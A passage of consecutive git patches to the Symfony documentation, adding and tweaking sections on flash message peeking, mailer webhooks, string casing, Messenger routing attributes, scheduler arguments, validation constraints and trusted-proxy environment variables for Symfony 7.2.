--- a/session.rst
+++ b/session.rst
@@ -181,7 +181,10 @@ can be anything. You'll use this key to retrieve the message.
 
 In the template of the next page (or even better, in your base layout template),
 read any flash messages from the session using the ``flashes()`` method provided
-by the :ref:`Twig global app variable <twig-app-variable>`:
+by the :ref:`Twig global app variable <twig-app-variable>`.
+Alternatively, you can use the
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
+method instead to retrieve the message while keeping it in the bag.
 
 .. configuration-block::
 
@@ -196,6 +199,13 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             </div>
         {% endfor %}
 
+        {# same but without clearing them from the flash bag #}
+        {% for message in app.session.flashbag.peek('notice') %}
+            <div class="flash-notice">
+                {{ message }}
+            </div>
+        {% endfor %}
+
         {# read and display several types of flash messages #}
         {% for label, messages in app.flashes(['success', 'warning']) %}
             {% for message in messages %}
@@ -214,6 +224,15 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             {% endfor %}
         {% endfor %}
 
+        {# or without clearing the flash bag #}
+        {% for label, messages in app.session.flashbag.peekAll() %}
+            {% for message in messages %}
+                <div class="flash-{{ label }}">
+                    {{ message }}
+                </div>
+            {% endfor %}
+        {% endfor %}
+
     .. code-block:: php-standalone
 
         // display warnings
@@ -221,6 +240,11 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             echo '<div class="flash-warning">'.$message.'</div>';
         }
 
+        // display warnings without clearing them from the flash bag
+        foreach ($session->getFlashBag()->peek('warning', []) as $message) {
+            echo '<div class="flash-warning">'.$message.'</div>';
+       }
+
         // display errors
         foreach ($session->getFlashBag()->get('error', []) as $message) {
             echo '<div class="flash-error">'.$message.'</div>';
@@ -233,15 +257,17 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             }
         }
 
+        // display all flashes at once without clearing the flash bag
+        foreach ($session->getFlashBag()->peekAll() as $type => $messages) {
+            foreach ($messages as $message) {
+                echo '<div class="flash-'.$type.'">'.$message.'</div>';
+            }
+        }
+
 It's common to use ``notice``, ``warning`` and ``error`` as the keys of the
 different types of flash messages, but you can use any key that fits your
 needs.
 
-.. tip::
-
-    You can use the
-    :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
-    method instead to retrieve the message while keeping it in the bag.
 
 Configuration
 -------------

From cc96d7c59b4893a499c9bb2dc5fce240edffcf15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Sep 2024 12:45:29 +0200
Subject: [PATCH 5052/5766] Minor tweak

---
 session.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 854c84d4f3d..78f71b9d46d 100644
--- a/session.rst
+++ b/session.rst
@@ -184,7 +184,7 @@ read any flash messages from the session using the ``flashes()`` method provided
 by the :ref:`Twig global app variable <twig-app-variable>`.
 Alternatively, you can use the
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
-method instead to retrieve the message while keeping it in the bag.
+method to retrieve the message while keeping it in the bag:
 
 .. configuration-block::
 
@@ -268,7 +268,6 @@ It's common to use ``notice``, ``warning`` and ``error`` as the keys of the
 different types of flash messages, but you can use any key that fits your
 needs.
 
-
 Configuration
 -------------
 

From ecb343bf576206de34d57a190447b1128684d8cf Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 27 Sep 2024 13:05:03 +0200
Subject: [PATCH 5053/5766] [Webhook] add Mailtrap webhook docs

---
 webhook.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/webhook.rst b/webhook.rst
index 176abc49cd2..e2c7083ac43 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -28,6 +28,7 @@ MailerSend     ``mailer.webhook.request_parser.mailersend``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
 Mailomat       ``mailer.webhook.request_parser.mailomat``
+Mailtrap       ``mailer.webhook.request_parser.mailtrap``
 Postmark       ``mailer.webhook.request_parser.postmark``
 Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
@@ -40,7 +41,8 @@ Sweego         ``mailer.webhook.request_parser.sweego``
 
 .. versionadded:: 7.2
 
-    The ``Mailomat`` and ``Sweego`` integrations were introduced in Symfony 7.2.
+    The ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
+    Symfony 7.2.
 
 .. note::
 

From 0bb5a68545d695d7bf9f9ec31843920756ffdf44 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 30 Sep 2024 09:51:52 +0200
Subject: [PATCH 5054/5766] [String] Add the `AbstractString::kebab()` method

---
 string.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/string.rst b/string.rst
index f2856976986..d9fdeded470 100644
--- a/string.rst
+++ b/string.rst
@@ -232,6 +232,8 @@ Methods to Change Case
     u('Foo: Bar-baz.')->camel(); // 'fooBarBaz'
     // changes all graphemes/code points to snake_case
     u('Foo: Bar-baz.')->snake(); // 'foo_bar_baz'
+    // changes all graphemes/code points to kebab-case
+    u('Foo: Bar-baz.')->kebab(); // 'foo-bar-baz'
     // other cases can be achieved by chaining methods. E.g. PascalCase:
     u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
 
@@ -240,6 +242,10 @@ Methods to Change Case
     The ``localeLower()``, ``localeUpper()`` and ``localeTitle()`` methods were
     introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The ``kebab()`` method was introduced in Symfony 7.2.
+
 The methods of all string classes are case-sensitive by default. You can perform
 case-insensitive operations with the ``ignoreCase()`` method::
 

From d810f6caabcc1960f5e3d7ffde08a44fa2733fb1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Sep 2024 10:09:10 +0200
Subject: [PATCH 5055/5766] Minor tweaks

---
 configuration.rst | 13 ++++---------
 1 file changed, 4 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 52dc9b98c95..5ebe952740e 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -385,22 +385,17 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 Configuration parameters are usually validation-free, but you can ensure that
 essential parameters for your application's functionality are not empty::
 
-    // ContainerBuilder
-    $container->parameterCannotBeEmpty('app.private_key', 'Did you forget to configure a non-empty value for "app.private_key" parameter?');
+    /** @var ContainerBuilder $container */
+    $container->parameterCannotBeEmpty('app.private_key', 'Did you forget to set a value for the "app.private_key" parameter?');
 
 If a non-empty parameter is ``null``, an empty string ``''``, or an empty array ``[]``,
-Symfony will throw an exception with the custom error message when attempting to
-retrieve the value of this parameter.
+Symfony will throw an exception. This validation is **not** made at compile time
+but when attempting to retrieve the value of the parameter.
 
 .. versionadded:: 7.2
 
     Validating non-empty parameters was introduced in Symfony 7.2.
 
-.. note::
-
-    Please note that this validation will *only* occur if a non-empty parameter value
-    is retrieved; otherwise, no exception will be thrown.
-
 .. seealso::
 
     Later in this article you can read how to

From a3815364478bdf7d2569655a1092880f06bfc94d Mon Sep 17 00:00:00 2001
From: Pierre Rineau <pierre.rineau@makina-corpus.com>
Date: Fri, 28 Jun 2024 12:34:40 +0200
Subject: [PATCH 5056/5766] [Messenger] document the #[AsMessage] attribute

---
 messenger.rst            | 49 ++++++++++++++++++++++++++++++++++++++++
 reference/attributes.rst |  1 +
 2 files changed, 50 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index cecb84d9dec..8ba335b4e2b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -345,6 +345,55 @@ to multiple transports:
     name as its only argument. For more information about stamps, see
     `Envelopes & Stamps`_.
 
+.. _messenger-message-attribute:
+
+Configuring Routing Using Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can optionally use the `#[AsMessage]` attribute to configure message transport::
+
+    // src/Message/SmsNotification.php
+    namespace App\Message;
+
+    use Symfony\Component\Messenger\Attribute\AsMessage;
+
+    #[AsMessage(transport: 'async')]
+    class SmsNotification
+    {
+        public function __construct(
+            private string $content,
+        ) {
+        }
+
+        public function getContent(): string
+        {
+            return $this->content;
+        }
+    }
+
+.. note::
+
+    If you configure routing with both configuration and attributes, the
+    configuration will take precedence over the attributes and override
+    them. This allows to override routing on a per-environment basis
+    for example:
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        when@dev:
+            framework:
+                messenger:
+                    routing:
+                        # override class attribute
+                        'App\Message\SmsNotification': sync
+
+.. tip::
+
+    The `$transport` parameter can be either a `string` or an `array`: configuring multiple
+    transports is possible. You may also repeat the attribute if you prefer instead of using
+    an array.
+
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 559893ca2e4..19a27b71793 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -79,6 +79,7 @@ HttpKernel
 Messenger
 ~~~~~~~~~
 
+* :ref:`AsMessage <messenger-message-attribute>`
 * :ref:`AsMessageHandler <messenger-handler>`
 
 RemoteEvent

From fc90d8335327ab9f3a4989e6a16349c794a500a2 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Tue, 1 Oct 2024 08:07:25 +0200
Subject: [PATCH 5057/5766] [Scheduler] Add example about how to pass arguments
 to a Symfony command

---
 scheduler.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 160ba26e0cb..a77d2239259 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -473,6 +473,20 @@ The attribute takes more parameters to customize the trigger::
     // defines the timezone to use
     #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
 
+Arguments/options for Symfony commands are passed as plain string::
+
+    use Symfony\Component\Console\Command\Command;
+
+    #[AsCronTask('0 0 * * *', arguments: 'arg --my-option')]
+    class MyCommand extends Command
+    {
+        protected function configure(): void
+        {
+            $this->addArgument('my-arg');
+            $this->addOption('my-option');
+        }
+    }
+
 .. versionadded:: 6.4
 
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
@@ -522,6 +536,20 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg
         }
     }
 
+Arguments/options for Symfony commands are passed as plain string::
+
+    use Symfony\Component\Console\Command\Command;
+
+    #[AsPeriodicTask(frequency: '1 day', arguments: 'arg --my-option')]
+    class MyCommand extends Command
+    {
+        protected function configure(): void
+        {
+            $this->addArgument('my-arg');
+            $this->addOption('my-option');
+        }
+    }
+
 .. versionadded:: 6.4
 
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute

From a8a0e2beed33617c7143fbbeaabee884f3b9f357 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Sep 2024 10:25:40 +0200
Subject: [PATCH 5058/5766] [AssetMapper] Document the filtering options of
 debug:asset-map

---
 frontend/asset_mapper.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f6300e7adb9..6987718381f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -137,6 +137,28 @@ This will show you all the mapped paths and the assets inside of each:
 The "Logical Path" is the path to use when referencing the asset, like
 from a template.
 
+The ``debug:asset-map`` command provides several options to filter results:
+
+.. code-block:: terminal
+
+    # provide an asset name or dir to only show results that match it
+    $ php bin/console debug:asset-map bootstrap.js
+    $ php bin/console debug:asset-map style/
+
+    # provide an extension to only show that file type
+    $ php bin/console debug:asset-map --ext=css
+
+    # you can also only show assets in vendor/ dir or exclude any results from it
+    $ php bin/console debug:asset-map --vendor
+    $ php bin/console debug:asset-map --no-vendor
+
+    # you can also combine all filters (e.g. find bold web fonts in your own asset dirs)
+    $ php bin/console debug:asset-map bold --no-vendor --ext=woff2
+
+.. versionadded:: 7.2
+
+    The options to filter ``debug:asset-map`` results were introduced in Symfony 7.2.
+
 .. _importmaps-javascript:
 
 Importmaps & Writing JavaScript

From 476c1c1e6795e3384f6d392036147727af627528 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Tue, 1 Oct 2024 04:12:12 -0400
Subject: [PATCH 5059/5766] [Mailer] mark Mailtrap as having Webhook support

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index a8d0eda3072..2954fa7217a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -109,7 +109,7 @@ Service               Install with                                    Webhook su
 `Mailomat`_           ``composer require symfony/mailomat-mailer``    yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
-`Mailtrap`_           ``composer require symfony/mailtrap-mailer``
+`Mailtrap`_           ``composer require symfony/mailtrap-mailer``    yes
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postal`_             ``composer require symfony/postal-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes

From 9ac77eefb559c3e223722db352b485c374df9f98 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Tue, 1 Oct 2024 13:12:01 +0200
Subject: [PATCH 5060/5766] [Validator] Add example for passing groups and
 payload to the Compound constraint

---
 reference/constraints/Compound.rst | 44 ++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index fc8081f5917..0d0dc933ae0 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -102,6 +102,50 @@ You can now use it anywhere you need it:
             }
         }
 
+Validation groups and payload can be passed via constructor:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity\User;
+
+        use App\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\PasswordRequirements(
+                groups: ['registration'],
+                payload: ['severity' => 'error'],
+            )]
+            public string $plainPassword;
+        }
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity\User;
+
+        use App\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class User
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements(
+                    groups: ['registration'],
+                    payload: ['severity' => 'error'],
+                ));
+            }
+        }
+
+.. versionadded:: 7.2
+
+    Support for passing validation groups and the payload to the constructor
+    of the ``Compound`` class was introduced in Symfony 7.2.
+
 Options
 -------
 

From 743f4c6096f7d6fdd9fc968e402c486064a3b9a6 Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Tue, 1 Oct 2024 14:45:15 +0200
Subject: [PATCH 5061/5766] Document logical xor in expression language

---
 reference/formats/expression_language.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index f902087d380..368c95bc2a8 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -345,6 +345,11 @@ Logical Operators
 * ``not`` or ``!``
 * ``and`` or ``&&``
 * ``or`` or ``||``
+* ``xor``
+
+.. versionadded:: 7.2
+
+    Support for the ``xor`` logical operator was introduced in Symfony 7.2.
 
 For example::
 
@@ -487,6 +492,8 @@ The following table summarizes the operators and their associativity from the
 +-----------------------------------------------------------------+---------------+
 | ``and``, ``&&``                                                 | left          |
 +-----------------------------------------------------------------+---------------+
+| ``xor``                                                         | left          |
++-----------------------------------------------------------------+---------------+
 | ``or``, ``||``                                                  | left          |
 +-----------------------------------------------------------------+---------------+
 

From e8084a2413e3675713321e3749fe9bbbc37eea79 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Tue, 1 Oct 2024 16:10:51 +0200
Subject: [PATCH 5062/5766] [Mailer][Webhook] Mandrill Webhook support

---
 mailer.rst  | 2 +-
 webhook.rst | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2954fa7217a..3dbf8a79575 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -110,7 +110,7 @@ Service               Install with                                    Webhook su
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mailtrap`_           ``composer require symfony/mailtrap-mailer``    yes
-`Mandrill`_           ``composer require symfony/mailchimp-mailer``
+`Mandrill`_           ``composer require symfony/mailchimp-mailer``   yes
 `Postal`_             ``composer require symfony/postal-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `Resend`_             ``composer require symfony/resend-mailer``      yes
diff --git a/webhook.rst b/webhook.rst
index e2c7083ac43..6b79da037e4 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -24,6 +24,7 @@ Currently, the following third-party mailer providers support webhooks:
 Mailer Service Parser service name
 ============== ============================================
 Brevo          ``mailer.webhook.request_parser.brevo``
+Mandrill       ``mailer.webhook.request_parser.mailchimp``
 MailerSend     ``mailer.webhook.request_parser.mailersend``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
@@ -41,7 +42,7 @@ Sweego         ``mailer.webhook.request_parser.sweego``
 
 .. versionadded:: 7.2
 
-    The ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
+    The ``Mandrill``,  ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
     Symfony 7.2.
 
 .. note::

From cc5d2a17fe786cf951bbc1d0e016a6a6c5944a7d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 1 Oct 2024 21:29:48 +0200
Subject: [PATCH 5063/5766] [DomCrawler] Fixing code typo

Page: https://symfony.com/doc/6.4/components/dom_crawler.html#accessing-node-values
---
 components/dom_crawler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 4440a35f0ea..00e5d8795ea 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -277,7 +277,7 @@ The result is an array of values returned by the anonymous function calls.
 When using nested crawler, beware that ``filterXPath()`` is evaluated in the
 context of the crawler::
 
-    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): avoid {
+    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): void {
         // DON'T DO THIS: direct child can not be found
         $subCrawler = $parentCrawler->filterXPath('sub-tag/sub-child-tag');
 

From 6e2045a3ed2689f9443eb062ea15a54b7261e781 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Wed, 2 Oct 2024 07:21:30 +0200
Subject: [PATCH 5064/5766] [Messenger] Describe the options of the
 messenger:failed:retry command

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index cecb84d9dec..9f75ce33bed 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1173,6 +1173,8 @@ to retry them:
     $ php bin/console messenger:failed:show 20 -vv
 
     # view and retry messages one-by-one
+    # for each message the command asks whether the message should be retried,
+    # skipped or deleted
     $ php bin/console messenger:failed:retry -vv
 
     # retry specific messages
@@ -1191,6 +1193,11 @@ If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
 
+.. versionadded:: 7.2
+
+    The possibility to skip a message in the `messenger:failed:retry`
+    command was introduced in Symfony 7.2
+
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 9cedefa06ba903f301ccebd2281d4649e42544e5 Mon Sep 17 00:00:00 2001
From: Damien Louis <72412142+damien-louis@users.noreply.github.com>
Date: Tue, 1 Oct 2024 13:54:01 +0200
Subject: [PATCH 5065/5766] Update testing.rst

---
 testing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/testing.rst b/testing.rst
index 281f8c45ad8..ae9a42b9b2c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -759,6 +759,10 @@ You can pass any
 :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
 stores in the session of the test client.
 
+To set a specific firewall (``main`` is set by default)::
+
+    $client->loginUser($testUser, 'my_firewall');
+
 .. note::
 
     By design, the ``loginUser()`` method doesn't work when using stateless firewalls.

From 795148ee5958773c4f7be614f56358663a677380 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Oct 2024 17:46:12 +0200
Subject: [PATCH 5066/5766] Minor tweaks

---
 messenger.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 9f75ce33bed..add197e8df6 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1172,9 +1172,7 @@ to retry them:
     # see details about a specific failure
     $ php bin/console messenger:failed:show 20 -vv
 
-    # view and retry messages one-by-one
-    # for each message the command asks whether the message should be retried,
-    # skipped or deleted
+    # for each message, this command asks whether to retry, skip, or delete
     $ php bin/console messenger:failed:retry -vv
 
     # retry specific messages
@@ -1195,8 +1193,8 @@ retry has been hit, the message will be discarded permanently.
 
 .. versionadded:: 7.2
 
-    The possibility to skip a message in the `messenger:failed:retry`
-    command was introduced in Symfony 7.2
+    The option to skip a message in the ``messenger:failed:retry`` command was
+    introduced in Symfony 7.2
 
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~

From 50ab3eed6e865d381b3ef914529a63f0a9bb5395 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Oct 2024 08:37:24 +0200
Subject: [PATCH 5067/5766] [Mailer] Support unicode email addresses

---
 mailer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 2954fa7217a..e21951df557 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -542,6 +542,10 @@ both strings or address objects::
         // email address as a simple string
         ->from('fabien@example.com')
 
+        // non-ASCII characters are supported both in the local part and the domain;
+        // if the SMTP server doesn't support this feature, you'll see an exception
+        ->from('jânë.dœ@ëxãmplę.com')
+
         // email address as an object
         ->from(new Address('fabien@example.com'))
 
@@ -556,6 +560,11 @@ both strings or address objects::
         // ...
     ;
 
+.. versionadded:: 7.2
+
+    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
+    was introduced in Symfony 7.2.
+
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can

From 861a0968eec52f837115b5667a18df6485bd2ced Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jib=C3=A9=20Barth?= <barth.jib@gmail.com>
Date: Sun, 6 Oct 2024 19:28:44 +0200
Subject: [PATCH 5068/5766] [Console] Document FinishedIndicator for Progress
 indicator

---
 .../console/helpers/progressindicator.rst     | 20 +++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index d64ec6367b7..dd18c6bdbc9 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
@@ -95,6 +95,26 @@ The progress indicator will now look like this:
      ⠹ Processing...
      ⢸ Processing...
 
+Custom Finished Indicator
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Once the progress indicator is finished, it keeps by default the latest indicator value. You can replace it with a your own::
+
+    $progressIndicator->finish('Finished', '✅');
+
+Then the progress indicator will render like this:
+
+.. code-block:: text
+
+     ⠏ Processing...
+     ⠛ Processing...
+     ✅ Finished
+
+.. versionadded:: 7.2
+
+    The ``finishedIndicator`` parameter for method ``finish()`` was introduced in Symfony 7.2.
+
+
 Customize Placeholders
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 1b26f7681a2f4aff35adf89014767972a50a8585 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Oct 2024 10:21:40 +0200
Subject: [PATCH 5069/5766] Minor tweaks

---
 components/console/helpers/progressindicator.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index dd18c6bdbc9..fedc8439e64 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
@@ -95,10 +95,8 @@ The progress indicator will now look like this:
      ⠹ Processing...
      ⢸ Processing...
 
-Custom Finished Indicator
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Once the progress indicator is finished, it keeps by default the latest indicator value. You can replace it with a your own::
+Once the progress indicator is finished, it keeps the latest indicator value by
+default. You can replace it with your own::
 
     $progressIndicator->finish('Finished', '✅');
 
@@ -114,7 +112,6 @@ Then the progress indicator will render like this:
 
     The ``finishedIndicator`` parameter for method ``finish()`` was introduced in Symfony 7.2.
 
-
 Customize Placeholders
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 2c93089f1781396bcd54b6f7f8eec403fa1c87a8 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 28 Sep 2024 18:47:17 +0200
Subject: [PATCH 5070/5766] [Serializer] Deprecate
 ``AdvancedNameConverterInterface``

---
 components/serializer.rst | 10 ++--------
 1 file changed, 2 insertions(+), 8 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index de8f67c853d..0764612e28a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -549,12 +549,12 @@ A custom name converter can handle such cases::
 
     class OrgPrefixNameConverter implements NameConverterInterface
     {
-        public function normalize(string $propertyName): string
+        public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
         {
             return 'org_'.$propertyName;
         }
 
-        public function denormalize(string $propertyName): string
+        public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
         {
             // removes 'org_' prefix
             return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
@@ -584,12 +584,6 @@ and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`::
     $companyCopy = $serializer->deserialize($json, Company::class, 'json');
     // Same data as $company
 
-.. note::
-
-    You can also implement
-    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
-    to access the current class name, format and context.
-
 .. _using-camelized-method-names-for-underscored-attributes:
 
 CamelCase to snake_case

From e14e05f4eaea753f625656949d9d9fc4814510ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Oct 2024 10:13:16 +0200
Subject: [PATCH 5071/5766] Document the new `SYMFONY_*` env vars

---
 deployment/proxies.rst                | 11 ++++++++++-
 reference/configuration/framework.rst | 14 ++++++++++++--
 2 files changed, 22 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index fc6f855451d..cd5649d979a 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -22,7 +22,11 @@ Solution: ``setTrustedProxies()``
 ---------------------------------
 
 To fix this, you need to tell Symfony which reverse proxy IP addresses to trust
-and what headers your reverse proxy uses to send information:
+and what headers your reverse proxy uses to send information.
+
+You can do that by setting the ``SYMFONY_TRUSTED_PROXIES`` and ``SYMFONY_TRUSTED_HEADERS``
+environment variables on your machine. Alternatively, you can configure them
+using the following configuration options:
 
 .. configuration-block::
 
@@ -93,6 +97,11 @@ and what headers your reverse proxy uses to send information:
     ``private_ranges`` as a shortcut for private IP address ranges for the
     ``trusted_proxies`` option was introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    Support for the ``SYMFONY_TRUSTED_PROXIES`` and ``SYMFONY_TRUSTED_HEADERS``
+    environment variables was introduced in Symfony 7.2.
+
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 19f72bb6cb3..53edf220642 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -198,7 +198,12 @@ named ``kernel.http_method_override``.
 trust_x_sendfile_type_header
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``%env(bool:default::SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER)%``
+
+.. versionadded:: 7.2
+
+    In Symfony 7.2, the default value of this option was changed from ``false`` to the
+    value stored in the ``SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER`` environment variable.
 
 ``X-Sendfile`` is a special HTTP header that tells web servers to replace the
 response contents by the file that is defined in that header. This improves
@@ -450,7 +455,12 @@ in debug mode.
 trusted_hosts
 ~~~~~~~~~~~~~
 
-**type**: ``array`` | ``string`` **default**: ``[]``
+**type**: ``array`` | ``string`` **default**: ``['%env(default::SYMFONY_TRUSTED_HOSTS)%']``
+
+.. versionadded:: 7.2
+
+    In Symfony 7.2, the default value of this option was changed from ``[]`` to the
+    value stored in the ``SYMFONY_TRUSTED_HOSTS`` environment variable.
 
 A lot of different attacks have been discovered relying on inconsistencies
